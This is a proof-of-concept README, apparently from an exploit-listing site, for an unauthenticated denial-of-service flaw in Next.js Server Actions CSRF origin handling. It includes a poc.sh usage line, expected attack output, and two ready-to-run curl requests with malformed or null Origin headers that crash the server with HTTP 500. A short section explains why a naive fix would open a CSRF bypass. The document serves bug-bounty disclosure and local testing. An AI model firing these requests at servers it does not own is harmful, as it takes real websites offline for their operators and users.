Share
## https://sploitus.com/exploit?id=F6758A6A-E38D-5C49-B4E6-6DFAC222274A
# Next.js Server Actions DoS โ€” PoC

**Vulnerability**: Unhandled `TypeError` in Server Actions CSRF validation  
**Affected**: `next@15.5.15` (stable) ยท canary / v16.2.3 (partial)  
**Impact**: Unauthenticated HTTP 500 DoS on any page with a Server Action  
**Root cause**: `new URL(originHeader).host` in `action-handler.ts` has no try-catch

---

## Setup

```bash
npm install
npm run build
npm run start        # starts on http://localhost:3000
```

> Requires Node.js 18+ and npm 9+.

---

## Run the PoC

In a second terminal:

```bash
./poc.sh                              # targets http://localhost:3000
./poc.sh http://your-server:3000      # custom target
```

Expected output:

```
==> Baseline โ€” GET / (expect 200)
  [PASS] GET / returned 200 (server is up)

==> Attack 1 โ€” Origin: http://  (malformed URL, all versions)
  [PASS] HTTP 500 โ€” TypeError: Invalid URL triggered (DoS confirmed)

==> Attack 1b โ€” Origin: ftp://
  [PASS] HTTP 500 โ€” DoS confirmed with ftp:// origin

==> Attack 1c โ€” Origin: not-a-url
  [PASS] HTTP 500 โ€” DoS confirmed with bare string origin

==> Attack 2 โ€” Origin: null  (v15.5.x only)
  [PASS] HTTP 500 โ€” Origin: null crash confirmed (v15.5.x, not yet patched)

==> Sanity check โ€” legitimate Origin (expect 200 or 403, NOT 500)
  [PASS] HTTP 403 โ€” normal origin not affected
```

Server stderr will show:

```
TypeError: Invalid URL
    at new URL ()
    at handleAction (.../app-render/action-handler.ts:574:13)
    at async renderToHTMLOrFlightImpl (...)
    ...
```

---

## Manual curl

```bash
# Attack 1: malformed URL (all versions)
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----PoC" \
  -H "Origin: http://" \
  --data-binary $'------PoC--\r\n' \
  -v

# Attack 2: Origin: null (v15.5.x stable only)
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----PoC" \
  -H "Origin: null" \
  --data-binary $'------PoC--\r\n' \
  -v
```

---

## Why no `Next-Action` header?

The crash occurs on the `isMultipartAction` code path
(`Content-Type: multipart/form-data` is sufficient). `Next-Action` is only
required for the `isFetchAction` path. The attacker needs zero knowledge of
the application's action IDs.

---

## Why is the fix non-trivial?

A naive `try { return new URL(x).host } catch { return null }` would silently
push execution into the **"missing origin"** fast-path, which **skips CSRF
validation entirely** โ€” introducing a CSRF bypass analogous to
CVE-2026-27977/CVE-2026-27978. The catch block must return a sentinel value
that is guaranteed to fail the host comparison.

---

## Scope

This PoC is intended for:
- Local testing against your own Next.js deployment
- Submission to [Vercel OSS Bug Bounty](https://hackerone.com/vercel-open-source)

**Do not use against production systems you do not own.**